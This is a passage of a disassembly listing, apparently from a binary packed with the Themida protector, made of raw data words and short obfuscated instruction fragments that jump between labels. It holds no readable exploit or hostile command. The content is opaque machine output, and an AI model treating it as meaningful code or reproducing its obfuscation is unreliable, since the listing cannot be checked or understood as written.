0C0E95BD8h, 89FFFFB9h, 0CCE92414h, 0F7FFFFFCh dd 39E942D2h, 52000005h, 0F25036BAh, 0E8E2E966h, 815B0000h dd 4ECh, 241C8900h, 59477368h, 51E95B62h, 81FFFFEEh, 5E2478C2h dd 14875865h, 24248B24h, 24048B66h, 788768h, 0D590E900h dd 535A0000h, 28C6BF57h, 21BB7735h, 1BD3529h, 7CC8E9FBh dd 0E9590000h, 9935h, 24048B66h, 4EC8351h, 68242489h, 1CD5h dd 0BD242C89h, 4, 4246C01h, 81242C8Bh, 4C4h, 240C8B00h dd 0FFF875E9h, 4C481FFh, 81000000h, 0A3277C1h, 0E59CE909h dd 4B8FFFFh, 81000000h, 0D744E2EFh, 0F7E1E97Dh, 0C701FFFFh dd 28F9C781h, 48B7591h, 4C48124h, 83000000h, 3C8702EFh dd 24248B24h, 243C8966h, 2474FF66h, 665F6602h, 0E924048Fh dd 3A04h, 0E92434FFh, 0CADAh, 4C181h, 0E6E90000h, 5B00003Ah dd 0F5EFEE81h, 8705E93Bh, 525E8F7Eh, 921EFBAh, 0E9D00115h dd 0FFFFA856h, 4245C01h, 4244481h, 11F5200Ah, 0A407E9h dd 243C3300h, 0E936E9h, 24343300h, 8CA8E9h, 4C48300h, 28C5B450h dd 0CB8858E1h, 0E92434FFh, 0FFFFFF1Eh, 0BAF28058h, 148BD000h dd 4C48324h, 0A6E99D04h, 81FFFFCEh, 4C4h, 1AD62D00h, 89E900A2h dd 89FFFFA5h, 0E589242Ch, 34B85052h, 35295F23h, 0E5E1F85h dd 0CEE9C289h, 5F000061h, 1059832Dh, 31FE2D25h, 0E82957C8h dd 0C831FE05h, 83BA5257h, 1251059h, 73055AD0h, 5D76D835h dd 1FBB5351h, 0E962BD13h, 0FFFFFE67h ; --------------------------------------------------------------------------- loc_5573A0: ; CODE XREF: Themida_:0055A497j sub eax, 0DD85427h jmp loc_56051A ; --------------------------------------------------------------------------- dw 0C681h dd 4, 0FFBD83E9h db 0FFh ; --------------------------------------------------------------------------- loc_5573B5: ; CODE XREF: Themida_:00561856j add ebx, ecx add ebx, 4E7E18C0h pop ecx xchg ebx, [esp] mov esp, [esp] movsx ecx, ax push ebx mov ebx, esp sub esp, 4 jmp loc_551B49 ; --------------------------------------------------------------------------- dw 0DA89h dd 243C8B5Bh, 104C483h, 3FE95AD3h, 5C00006Dh, 0FFEC08E9h dd 80CAFEFFh, 0F4E951F2h db 0DCh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5573F3: ; CODE XREF: Themida_:005581A3j add edi, ecx jmp loc_562E03 ; --------------------------------------------------------------------------- dw 814Dh dd 0CF5566C5h, 0CFCD8143h, 8119A051h, 0B5280AEDh, 5DE9091Fh dd 0FFC30BE9h, 24248BFFh, 0FFF4C2E9h db 0FFh ; --------------------------------------------------------------------------- loc_55741D: ; CODE XREF: Themida_:00565AA0j add ebx, edx add ebx, 37AC292Dh mov edx, [esp] jmp loc_55F533 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 72F6E9h, 5BDD0100h, 0E904C583h, 0A571h, 8704C383h, 0F9E9241Ch dd 5100007Ah, 8E0501B9h, 81D9F740h, 992D88E1h, 50B0E90Fh dd 89510000h, 4A80E9E1h, 0EC810000h, 4, 89243C89h, 4BA52E7h dd 1000000h, 0EF815AD7h, 4, 0E9243C87h, 0B9F3h ; --------------------------------------------------------------------------- loc_557488: ; CODE XREF: Themida_:0055A436j mov eax, 4D7E4C76h sub edx, eax pop eax sub edx, 101C44DCh add edx, 2363727Eh add edx, ebx sub edx, 2363727Eh add edx, 101C44DCh add edx, 4D7E4C76h pop ebx sub esp, 4 mov [esp], esi mov esi, 4 add edx, esi jmp loc_559D9C ; --------------------------------------------------------------------------- db 0FFh dd 0F0E92434h, 8100001Bh, 3F3568CFh, 6EF78129h, 81BBBF35h dd 726287C6h, 81FE015Eh, 726287EEh, 0EC815F5Eh, 4, 0FF243489h dd 5E042474h, 8B24048Fh, 33E92424h, 0BF000032h, 2E3D386Ch dd 6C46CF81h, 5750028Bh, 0A3CEE9h, 0E9E88800h, 0FFFFEE30h ; --------------------------------------------------------------------------- loc_557518: ; CODE XREF: Themida_:0055E97Fj pop ecx push edx jmp loc_55C1BB ; --------------------------------------------------------------------------- db 53h dd 15E95B54h db 0C7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557527: ; CODE XREF: Themida_:0056261Cj mov ecx, esi pop esi jmp loc_5644ED ; --------------------------------------------------------------------------- db 81h dd 4C5h, 4ED8100h, 33000000h, 2C31242Ch, 242C3324h, 0C808E9h dd 4C48300h, 0E904C483h, 0B20Ah, 0B850C301h, 53B31D60h dd 0E6AE8A2Dh, 0BBB7E949h, 8B54FFFFh, 0C4832414h, 0EC835704h dd 24148904h, 0F66F6668h, 25E95A3Ch, 81000000h, 0EB73F5C6h dd 0A80BE945h, 0BD55FFFFh, 76AE1865h, 0E905EDC1h, 2A27h dd 2414F756h, 0E92434FFh, 7951h, 55CA8142h, 8128EF7Dh dd 0E4973DC2h, 0C8CBE90Eh, 348BFFFFh, 4C48324h, 5C24048Fh dd 8904EC83h, 0E9542404h, 0CD35h, 0F792DAF7h, 525592D0h dd 8E00DCBAh, 1199E914h, 57550000h, 6009F2BFh, 5FFD894Dh dd 8012E945h, 0FE880000h, 36BBE9h, 2DCE0500h, 815A6556h dd 184151EFh, 24C7816Ch, 1139479h, 24EF81C7h, 81139479h dd 184151C7h, 24048B6Ch, 5E08950h, 4, 42Dh, 0DC27E900h dd 0BD550000h, 2C1E2069h, 8106E5C1h, 0A6167E5h, 81C5811Bh dd 0E94D9B3Bh, 0FFFFF9B5h, 83243C8Bh, 0C70104C4h, 582434FFh dd 40DA68h, 240C8900h, 94E9E189h, 89000069h, 19E92404h dd 0F6000013h, 5573E9DCh, 0E9810000h, 2EDE08BBh, 83241C8Bh dd 0AEE904C4h, 810000A6h, 0FDC98EC5h, 5DE88934h, 0E95AD001h dd 94ECh, 695968h, 240C8900h, 8404E4B9h, 0E0F18134h, 1348404h dd 0EC8159C8h, 4, 0B9240C89h, 4, 4021F82Dh, 5C8012Ah, 2A4021F8h dd 5462E959h, 4E460000h, 2B7B951h, 0E1C17E79h, 17BE5606h dd 0E926CC00h, 0DC79h, 26866h, 243C8B66h, 4381E9h db 0 ; --------------------------------------------------------------------------- loc_5576E9: ; CODE XREF: Themida_:00551226j add esi, 75A25212h pop edx add esi, 4 xchg esi, [esp] jmp loc_557B14 ; --------------------------------------------------------------------------- db 89h dd 0BB53243Ch, 195234A4h, 0FFFFC381h, 65E9FFFFh, 1000000h dd 23EE81FEh, 5F795211h, 0FF916DE9h, 0E4E95AFFh db 10h, 2 dup(0) ; --------------------------------------------------------------------------- loc_557723: ; CODE XREF: Themida_:005648C0j push ebx push eax pop ebx mov esi, ebx jmp loc_550B23 ; --------------------------------------------------------------------------- aST db '˛˝é[t',0 align 4 dd 8324048Bh, 0E95704C4h, 4EE9h, 50E9E2D1h, 660000DFh dd 5624048Bh, 8104EC83h, 4ECh, 48F5400h, 24048324h, 24048F04h dd 4240481h, 0E9000000h, 0FFFFC18Ah, 0E904EC83h, 3D80h dd 0C104EBC1h, 65E902EBh, 52FFFFAAh, 0F7139DBAh, 6CC28139h dd 0E95B6A49h, 0FFFFFA6Fh, 0C06BE981h, 0C83109DAh, 58C60159h dd 3C95E9h, 24343100h, 8B243433h, 0BAE92424h, 5900006Dh dd 97DEE9h db 0 ; --------------------------------------------------------------------------- loc_5577B5: ; CODE XREF: Themida_:00561939j xor [esp], ebp xor ebp, [esp] jmp loc_562C8D ; --------------------------------------------------------------------------- dd 0E9241C89h, 0BEE6h, 24048B66h, 0B43FE9h, 3DE95000h dd 0FF00000Ah, 5F042474h, 8B24048Fh, 0BE562424h, 673031B3h dd 0DE87DEF7h, 0DE87D3F7h, 34A4CE81h, 0E6811B66h, 364573BBh dd 31B3F681h, 0F1293644h, 5EBAE9h, 41F06800h, 2C890000h dd 0AFE95324h, 89000081h, 24148BD0h, 0E9E38953h, 0FFFFC8F5h ; --------------------------------------------------------------------------- loc_557824: ; CODE XREF: Themida_:0055156Bj mov eax, 47C377AFh xor eax, 285474EDh jmp loc_562CF0 ; --------------------------------------------------------------------------- loc_557833: ; CODE XREF: Themida_:00552EA2j mov ch, 4Ah add ch, al pop eax add ch, 0B3h shl ch, 8 jmp loc_55DEA7 ; --------------------------------------------------------------------------- db 5Fh dd 0FFD87DE9h, 8BD2E9FFh, 148BFFFFh, 90A1E924h, 2C8B0000h dd 4C48124h, 81000000h, 4C3h, 241C8700h, 0C5B4E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_55786E: ; CODE XREF: Themida_:00554ABFj mov eax, [esp] push ecx jmp loc_55478F ; --------------------------------------------------------------------------- db 0B9h dd 6AF94FC1h, 1E9C829h db 0CBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557883: ; CODE XREF: Themida_:0055E639j mov esi, [esp] add esp, 4 and edx, 0B4D557Fh sub edx, 965829BEh jmp loc_562F19 ; --------------------------------------------------------------------------- dw 34FFh dd 24048B24h, 4C481h, 68550000h, 7DC8h, 24048F54h, 8BDBE957h dd 515D0000h, 9147DEB9h, 59C80135h, 5B2434FFh, 5104C483h dd 0D676E9h db 0 ; --------------------------------------------------------------------------- loc_5578CD: ; CODE XREF: Themida_:00563BEEj pop edx jmp loc_55121E ; --------------------------------------------------------------------------- db 81h dd 927902E9h, 8DD4E93Eh, 34FF0000h, 89575B24h, 4C781E7h dd 81000000h, 4C7h, 243C8700h, 2B8505Ch, 1000000h, 0C3358C1h dd 240C3124h, 8B240C33h, 8B662424h, 71682404h, 89000064h dd 0E6892434h, 4C681h, 0E9570000h, 2520h ; --------------------------------------------------------------------------- loc_557924: ; CODE XREF: Themida_:00560ADAj sub esp, 4 mov [esp], ebx push esp pop ebx jmp loc_550FF2 ; --------------------------------------------------------------------------- a1SC db '1ĘéÖC',0 align 4 aISysad db 'ľ čYé',0 align 2 dw 0C9B6h dd 0FE65B753h, 0B05066C7h, 66C72059h, 0C203E958h, 0C301FFFFh dd 1430C381h, 5EE96D37h, 50000024h, 8AB6E99Ch, 5258FFFFh dd 0FFC073E9h db 0FFh ; --------------------------------------------------------------------------- loc_557971: ; CODE XREF: Themida_:00558461j push 61CAh mov [esp], eax jmp loc_5594D1 ; --------------------------------------------------------------------------- a5Ftuh@szk db '5`fâUH@ézŞ',0 align 2 dw 5B54h dd 4C381h, 52E90000h db 0D9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_557997: ; CODE XREF: Themida_:005535F1j add edx, 6E3C4A97h mov eax, [esp] add esp, 4 jmp loc_559DA5 ; --------------------------------------------------------------------------- db 89h dd 5750241Ch, 640D2EBFh, 87D8E916h, 0CDB60000h, 89E9F300h db 2Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_5579C3: ; CODE XREF: Themida_:00565064j xor eax, [esp] mov esp, [esp] jmp loc_55CC44 ; --------------------------------------------------------------------------- loc_5579CE: ; CODE XREF: Themida_:00561150j push 1FABh mov [esp], edx mov edi, [esp] add esp, 4 jmp loc_55B959 ; --------------------------------------------------------------------------- dd offset dword_457444+224h dd 241C8900h, 43F7E9h, 2E3C100h, 6BB3EB81h, 0DD29C9FFh dd 0FFCB02E9h db 0FFh ; --------------------------------------------------------------------------- loc_557A01: ; CODE XREF: Themida_:00562E19j push eax mov eax, esp push ebp mov ebp, esp jmp loc_557F04 ; --------------------------------------------------------------------------- loc_557A0C: ; CODE XREF: Themida_:0055056Cj mov edi, 15480C8Bh xor edi, 48102401h xor edi, 5D58288Eh add ebx, edi mov edi, [esp] jmp loc_563BA8 ; --------------------------------------------------------------------------- db 95h dd 7634255Dh, 0E0C1788Eh, 54D70D03h, 0D32D21E5h, 1A5F7F4h dd 6181E9C7h, 0EE810000h, 8A64686h, 0C681EE01h, 8A64686h dd 0DAE95A5Dh, 9FFFFEAh, 0EFC15AD7h, 0B8F78102h, 81483941h dd 64270FEFh, 0A6EDE98Ah, 34FF0000h, 24148B24h, 0AB5AE9h dd 2FC68100h, 89F93B46h, 6995E9F7h, 89570000h, 4BA52E7h dd 1000000h, 2AE95AD7h, 29000081h, 0C875DE9h, 0D3DDE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557AA2: ; CODE XREF: Themida_:0055646Ej push dword ptr [esp] pop esi jmp loc_5520B2 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832414h db 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push 0F47h mov [esp], edi mov edi, 4 add ebp, edi pop edi jmp loc_559000 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF894Ch, 68241489h, 519D6943h, 8324148Bh, 4E904C4h dd 580000B4h, 24148B56h, 0AACE9h, 6ABF5700h, 557CE23Ah dd 542447BDh, 4DE58159h, 810AC81Dh, 0DDC155C5h, 5DEF017Ah dd 0E95FF801h, 0FFFFB00Dh ; --------------------------------------------------------------------------- loc_557B14: ; CODE XREF: Themida_:005576F6j pop esp mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 push eax jmp loc_55705D ; --------------------------------------------------------------------------- db 0BFh dd 29A44803h, 3722EF81h, 0F8292812h, 24348B5Fh, 81E28952h dd 4C2h, 0CB86E900h, 148B0000h, 4C48124h, 1000000h, 6BE959CDh dd 8700004Eh, 0E95C243Ch, 0FFFFA433h, 5EB815Dh, 1454334h dd 5C381CBh, 0E9454334h, 0FFFFD44Ah, 1B0C281h, 0D7894F4Ch dd 0A11E95Ah, 0C7010000h, 5E96E9h db 0 ; --------------------------------------------------------------------------- loc_557B89: ; CODE XREF: Themida_:0055515Bj mov ebp, [esp] jmp loc_55B850 ; --------------------------------------------------------------------------- db 57h, 0BFh, 2 dd 0E9000000h, 5B31h ; --------------------------------------------------------------------------- loc_557B9C: ; CODE XREF: Themida_:00553490j mov eax, 4 add edi, eax pop eax add edi, 4 xchg edi, [esp] pop esp sub bl, 0FAh jmp loc_556473 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 24048900h, 0FFEADEE9h db 0FFh ; --------------------------------------------------------------------------- loc_557BC1: ; CODE XREF: Themida_:0055355Dj pop edi push edi mov edi, 14E8083Ch sub edi, 33171AC5h neg edi push ebx mov ebx, 31CB2A5Dh jmp loc_55EE41 ; --------------------------------------------------------------------------- db 81h dd 1A3EB0C6h, 36F6816Fh, 810A6A15h, 66C701F6h, 110105FEh dd 0F0013F36h, 3611012Dh, 0C0835E3Fh, 24048704h, 0E289525Ch dd 4B850h, 0C2810000h, 20CC02BEh, 0EA81C201h, 20CC02BEh dd 582434FFh, 81E28952h, 4C2h, 4C28300h, 7B94E9h, 2434FF00h dd 7C91E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_557C36: ; CODE XREF: Themida_:005561CBj mov ecx, 297A170Ch add ebx, ecx jmp loc_563E16 ; --------------------------------------------------------------------------- dw 53B1h dd 5352C1FEh, 9C1E9h, 0E9FB0100h, 0C196h, 0A7685357h, 5B5F7255h dd 1E65BA52h, 0F28143E7h, 382607FAh, 0BBEE281h, 95E94F14h dd 89000045h, 5ABE2434h, 0E9300F74h, 0FFFFEA09h ; --------------------------------------------------------------------------- loc_557C80: ; CODE XREF: Themida_:00565CB1j sub ecx, edi pop edi pop eax add ecx, eax jmp loc_55EE1B ; --------------------------------------------------------------------------- db 0BFh dd 524E20F4h, 12FE781h, 814F280Bh, 9FF9F1C7h, 8BFD0186h dd 0C483243Ch, 5DEE8904h, 0EB10C681h, 0F3018E34h, 5E2434FFh dd 4C481h, 0BD550000h, 4, 0A6E9EB01h db 0EAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557CC7: ; CODE XREF: Themida_:00560A13j pop ecx jmp loc_56477B ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 3B68F1F7h, 89000047h, 9C502414h, 0FF873FE9h, 55595BFFh dd 0E9E08950h, 92FFh, 582434FFh, 509BE953h, 0EF810000h dd 67FC547Fh, 0FFF7CAE9h, 243C87FFh, 240C895Ch, 0C7B5E9h dd 34FF5400h, 62E95B24h, 660000D5h, 0E924048Bh, 0FFFFEED0h ; --------------------------------------------------------------------------- loc_557D20: ; CODE XREF: Themida_:0055D2A1j xor [esp], ebp xor ebp, [esp] mov esp, [esp] or eax, eax jz loc_5646DB push dword ptr [edi+1Ch] mov ecx, [esp] push 525Eh jmp loc_5585AB ; --------------------------------------------------------------------------- db 0F6h, 0DFh, 50h dd 0E4802FB4h, 91E4807Bh, 0B353DCF6h, 0B8C38049h, 0FE5BDC28h dd 50F480CCh, 48BE728h, 4C48124h, 0E9000000h, 0FFFFF882h dd 5958C289h, 4B74C781h, 0D7296C64h, 0E135E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557D7E: ; CODE XREF: Themida_:005635A8j add ebx, 2F5E63F5h add ebx, 6A2EF4Ch jmp loc_55433D ; --------------------------------------------------------------------------- db 0BDh dd 3AB04226h, 0EB426EBEh, 64EE8148h, 81066B71h, 0AB65A7C6h dd 0E9EE2908h, 0FFFFCF0Eh, 0BD242C89h, 2B0257E6h, 0E907E5C1h dd 2DC4h, 4C381h, 0BA520000h, 3C046F1Bh, 6D4FE9h, 51CB0100h dd 0FC7343B9h, 59CB297Eh, 0DA50E9h, 94056600h, 1C8B6665h dd 72CE6824h, 2C890000h, 81E58924h, 4C5h, 0DAC7E900h, 48B0000h dd 4C48124h, 66000000h, 8766D9F7h, 0D5F766E9h, 66E98766h dd 5366D1F7h, 5BAFBB66h, 0E9D93166h, 0FFFFB5E3h ; --------------------------------------------------------------------------- loc_557E20: ; CODE XREF: Themida_:0055B85Cj xchg ebx, [esp] pop esp shr edx, 2 push ecx mov ecx, 14D86B32h or ecx, 64B0266h shl ecx, 8 push edi mov edi, 35EB1B41h push ebx mov ebx, 0AB63CED6h sub edi, ebx pop ebx jmp loc_561325 ; --------------------------------------------------------------------------- loc_557E4A: ; CODE XREF: Themida_:0055E01Dj push 5E0Fh jmp loc_5595C8 ; --------------------------------------------------------------------------- loc_557E54: ; CODE XREF: Themida_:0055AD00j add ebp, 9043658h sub ebp, edi sub ebp, 9043658h pop edi push ebx mov ebx, 0 jmp loc_551AA8 ; --------------------------------------------------------------------------- dw 8B66h dd 4F68240Ch, 8900000Fh, 8EE92414h db 0C5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557E7F: ; CODE XREF: Themida_:00562B81j push ecx pop eax jmp loc_5611A2 ; --------------------------------------------------------------------------- dw 0ED81h dd 1410E5Ah, 38DAE9h, 0C8C98100h, 50514248h, 0ABE8ACB8h dd 58C129CFh, 2D59CB89h, 7F57843h, 0FFCC17E9h db 0FFh ; --------------------------------------------------------------------------- loc_557EAD: ; CODE XREF: Themida_:005631F8j pop edx and eax, ebp pop ebp or eax, eax jz loc_55448D push 19ADh mov [esp], ebx push 68BAh mov [esp], ebp push 378C5DAAh jmp loc_5636BF ; --------------------------------------------------------------------------- db 5Bh dd 104C483h, 90F2DD8h, 1C8B50F3h, 4C48324h, 31240433h dd 4332404h, 0AEE95C24h, 0C1FFFFC1h, 0D14208EAh, 38BF57EAh dd 0E96FDF32h, 0DA55h ; --------------------------------------------------------------------------- loc_557F04: ; CODE XREF: Themida_:00557A07j add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push 37AA187Ch pop esi sub esi, 37AA1878h jmp loc_56556F ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 7D34A368h, 2434FF61h, 4C48159h, 53000000h, 844F5DBBh dd 15E38148h, 8173BF6Ch, 0AAACB3C3h, 5BD90197h, 44268h dd 240C8900h, 240C8B5Eh, 0C89BE955h, 0DEF7FFFFh, 99E9F287h dd 0C1000084h, 0BE5607EFh, 1E3F3CECh, 20E8E9h, 81E58900h dd 4C5h, 4ED8100h, 87000000h, 895C242Ch, 1B62414h, 0E983C180h dd 0FFFF8A31h, 5351F9B0h, 0D8E9C388h, 66FFFFE2h, 300FB450h dd 815866E5h, 4ECh, 24148900h, 8851EA88h, 59CF88D1h, 8124148Bh dd 4C4h, 240C8B00h, 3B2BE9h, 0CE295B00h, 66EDE959h, 0E9520000h dd 0FFFF98BAh, 7CE6C281h, 835E3CCBh, 48904ECh, 4B824h dd 0C2010000h, 24143358h, 0E9241431h, 0C8CDh, 5E08950h dd 4, 205h, 24048700h, 0CDEB805Ch, 0E92BC380h, 17F1h, 240C8B66h dd 14AD68h, 242C8900h, 815F5457h, 4C7h, 0C2E95000h, 52FFFFDBh dd 0E81681BAh, 45CA8159h, 8331467Dh, 69E904ECh, 0F6FFFFFDh dd 0E9D6F6D6h, 0FFFFD159h, 8158C229h, 1E6558C2h, 0C6A0E94Ch dd 0C581FFFFh, 309210DEh, 7436CD81h, 0F5815212h, 0FC986395h dd 0EAE9EA89h, 880000B7h, 59CF88C1h, 239AE9h, 1BE95D00h dd 89FFFFA3h, 4C581E5h, 83000000h, 2C8704C5h, 0EAE95C24h db 6Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_558097: ; CODE XREF: Themida_:005546ACj push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_5601FA ; --------------------------------------------------------------------------- db 51h dd 0F580B9B5h, 80CDFEBDh, 7AE906EDh, 0BD0000D1h, 79B912B0h dd 1F3BF57h, 0EEE94BE9h, 56000071h, 7F243481h, 5825F22Ah dd 0F22A7F35h, 24348B25h, 4C481h, 0F8010000h, 81243C8Bh dd 4ECh, 240C8900h, 0C181E189h, 4, 8704C183h, 255C240Ch dd 3A56393Ch, 9621C02Dh, 0D353E939h, 8B66FFFFh, 68502404h dd 319Bh, 0FF92D4E9h, 240C89FFh, 42474FFh, 47EAE9h, 0B8B25200h dd 0CBA5E9h, 1FC06800h, 14890000h, 803EB624h, 0B55114EEh dd 48E2E929h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558146: ; CODE XREF: Themida_:00561806j not edi push edx push esi mov esi, 23245E2Bh jmp loc_561CCD ; --------------------------------------------------------------------------- dd 3780ED81h, 0EB29E97Ah, 81EB015Dh, 7B2E73C3h, 91E3E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55816A: ; CODE XREF: Themida_:0055BD8Fj xchg esi, [esp] pop esp jmp loc_55A757 ; --------------------------------------------------------------------------- dd offset dword_43DECC+4A9Ch align 4 dd 68243489h, 683A130Ah, 0FFE5FFE9h db 0FFh ; --------------------------------------------------------------------------- loc_558185: ; CODE XREF: Themida_:0055635Dj mov edx, 15D101A2h mov edi, 15D501A2h sub edi, edx mov edx, [esp] push edi mov edi, esp push ecx mov ecx, 4 sub edi, 6FA0563Ah jmp loc_5573F3 ; --------------------------------------------------------------------------- dd 3C87CF31h, 2434FF24h, 0C8E6858h, 1C890000h, 0B55CE924h dd 3C8BFFFFh, 4C48124h, 81000000h, 4C7h, 4BB5300h, 1000000h dd 3AE95BDFh, 5DFFFFF1h, 4C481h, 89570000h, 1F85E9E7h dd 0DD890000h, 69CFE9h, 242C8700h, 0C1CE9h, 0C8B6600h dd 2C48124h, 0E9000000h, 62FDh, 2F3F84B9h, 0E9CF2926h dd 0A66Eh, 0C4807BB4h, 0F6D4F6B2h, 0E9C4FEDCh, 0FFFF8E56h dd 4BAh, 5AD52900h, 2474FF55h, 48F5D04h, 2C895C24h, 2E34BD24h dd 0C681077Eh, 27F572Fh, 0B5E9EE01h, 29FFFFCFh, 241C8BD8h dd 8B04C483h, 0C481240Ch, 4, 31240433h, 2E92404h db 0ADh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558267: ; CODE XREF: Themida_:0056132Bj push ecx jmp loc_556A81 ; --------------------------------------------------------------------------- db 81h, 0EDh, 0D9h dd 0C130B64Ch, 525703E5h, 0ED79A7BAh, 0D6EA8122h, 0E90B2466h dd 0FFFFE642h ; --------------------------------------------------------------------------- loc_558288: ; CODE XREF: Themida_:00552029j push esi push eax push 5E9000F3h mov eax, [esp] jmp loc_552D2F ; --------------------------------------------------------------------------- aNs_0 db 'é"ś',0 dd 242C8B00h, 8704C483h, 0F7EF87FEh, 87EF87D5h, 92B68FEh dd 0C890000h, 0A3BB5324h, 68267543h, 7A315E9Eh, 18E95059h dd 8000002Bh, 0D1F6EBC9h, 3096C180h, 240C8BCAh, 4C481h dd 0C2800000h, 5AD130DFh, 0D4A8E9h db 0 ; --------------------------------------------------------------------------- loc_5582E5: ; CODE XREF: Themida_:00556568j jmp loc_550420 ; --------------------------------------------------------------------------- dw 34FFh dd 54505824h, 40558h, 0BB530000h, 4, 0BA525753h, 6C12336Ch dd 0A6468h, 24148900h, 0B00EA0BAh, 81D2F737h, 0B550D9EAh dd 0F856E933h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55831E: ; CODE XREF: Themida_:00551C05j add esp, 4 push 6CBBh mov [esp], edx push eax mov eax, 72260215h jmp loc_551EA3 ; --------------------------------------------------------------------------- db 80h dd 8B0444EAh, 7B04552Ch, 7B2CD000h, 8B2C5504h, 0E924148Bh dd 0FFFFCA51h, 8705EFC1h, 87D5F7EFh, 8EF81EFh, 0E9CDAEE4h dd 0FFFFC8FEh, 50243C8Bh, 0BD55E089h, 61E7982h, 245FBB53h dd 0DD312557h, 470BE9h, 8BFA0100h, 0C481243Ch, 4, 4BE56h dd 0EA810000h, 33F71A71h, 38A1EA81h, 16E924AEh, 81000042h dd 4C4h, 4EC8300h, 0B8240489h, 5CBC2813h, 5425E9h db 0 ; --------------------------------------------------------------------------- loc_5583B5: ; CODE XREF: Themida_:0055358Fj pop esi push esi mov esi, 547E2DC7h inc esi jmp loc_564C09 ; --------------------------------------------------------------------------- dw 0F581h dd 84BDBFBEh, 315DEF29h, 243C8BFAh, 8304C483h, 3C8904ECh dd 89685124h, 8B165D08h, 0C483240Ch, 0D9F74904h, 98685357h dd 5B410E59h, 621FEB81h, 0B7E9576Bh, 5C000044h, 0E9241C89h dd 95D3h, 0C7E9535Bh, 89FFFF91h, 0BB532404h, 0F581DE4h dd 581DE6B8h, 5BD8290Fh, 34FFC601h, 10EFE924h, 0C6810000h dd 3FFD3B1Eh, 49A9E9h, 0D1016600h, 8124148Bh, 4C4h, 0C63FE900h dd 0EB010000h, 1333EB81h, 895D2A1Ch, 0F8215BDFh, 0E92434FFh dd 0FFFFFF0Ch, 0E95FFA29h, 0ACC4h ; --------------------------------------------------------------------------- loc_558460: ; CODE XREF: Themida_:00554493j pop ecx jmp loc_557971 ; --------------------------------------------------------------------------- dw 14F7h dd 7BE95E24h, 57FFFFE5h, 4BFh, 5FFB0100h, 5C241C87h, 0BC62E9h db 0 ; --------------------------------------------------------------------------- loc_558481: ; CODE XREF: Themida_:00552EC5j pop esi jmp loc_55BB44 ; --------------------------------------------------------------------------- db 55h dd 0FFDF31E9h db 0FFh ; --------------------------------------------------------------------------- loc_55848D: ; CODE XREF: Themida_:00565513j pop edx jmp loc_55E25F ; --------------------------------------------------------------------------- db 55h dd 3F3FBB53h, 0DBF7726Fh, 0C104E3C1h, 0EB8107E3h, 584131F7h dd 0FF90F381h, 0DD89320Ah, 97B2E9h, 1C875800h, 24248B24h dd 39E95251h, 800000D6h, 0F380A6CBh, 0D9EB80A6h, 8920E9h db 0 ; --------------------------------------------------------------------------- loc_5584D1: ; CODE XREF: Themida_:00558814j mov edi, 4308092Ah sub eax, edi pop edi add eax, 2FA0606h or eax, 54532FC4h sub eax, 4C246C3Ch push eax jmp loc_5521B0 ; --------------------------------------------------------------------------- dw 489h dd 6E59B824h, 0F7915D8Fh, 0F74091D1h, 6E8C1D0h, 670E4C35h dd 8E26E908h, 47B70000h, 0E90DCF80h, 0FFFFF82Dh, 38D7BD55h dd 0CD812DC6h, 2C4A628Ah, 1A3C581h, 0B9511FB2h, 626E3684h dd 8102E1C1h, 804888E9h, 0F741411Ah, 9EC181D9h, 18D14B1h dd 0A9E959CDh, 8100005Dh, 550E66EEh, 0D250E966h, 0C483FFFFh dd 4C48104h, 87000000h, 895C2404h, 4DE92424h, 68FFFFC9h dd 5A00h, 0E9240489h, 0FFFFD603h, 37FB68h, 0F42DE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55857E: ; CODE XREF: Themida_:005557F7j add edx, eax sub esp, 4 mov [esp], eax mov eax, 25E963FAh jmp loc_560111 ; --------------------------------------------------------------------------- db 29h dd 0FB895AD7h, 0FFCE52E9h, 0E68956FFh, 4C681h, 80E90000h db 0C9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5585AB: ; CODE XREF: Themida_:00557D3Cj mov [esp], ebp mov ebp, esp push eax jmp loc_55B6E9 ; --------------------------------------------------------------------------- loc_5585B6: ; CODE XREF: Themida_:00551B98j push ecx push ebp jmp loc_556A26 ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 502104BEh, 5EF5314Ah, 875DEB01h, 0FF5C241Ch, 0E99C240Ch dd 0FFFFE717h, 8102EBC1h, 0BD32F1C3h, 0CDC38142h, 8105E32Ch dd 5A7124F3h, 5BD8291Ah, 0BDDE9h, 0D1895100h, 5A59CF89h dd 4EE9F989h db 44h, 2 dup(0) ; --------------------------------------------------------------------------- loc_558603: ; CODE XREF: Themida_:00552511j push edi mov edi, 4 jmp loc_553217 ; --------------------------------------------------------------------------- dw 8AB3h dd 2DE9D3F6h, 31FFFFADh, 3C33243Ch, 5BE95C24h, 89FFFFE0h dd 7723E9E2h, 0FF680000h, 0E975F13Ch, 0FFFFCDDEh, 0BB53D101h dd 2F27400Dh, 23CB81h, 0C381258Dh, 2D5C4C3Eh, 5817E9h dd 81C22900h, 0EC22ABEAh, 24048B21h, 4C481h, 73E90000h dd 8B000099h, 0FF662424h, 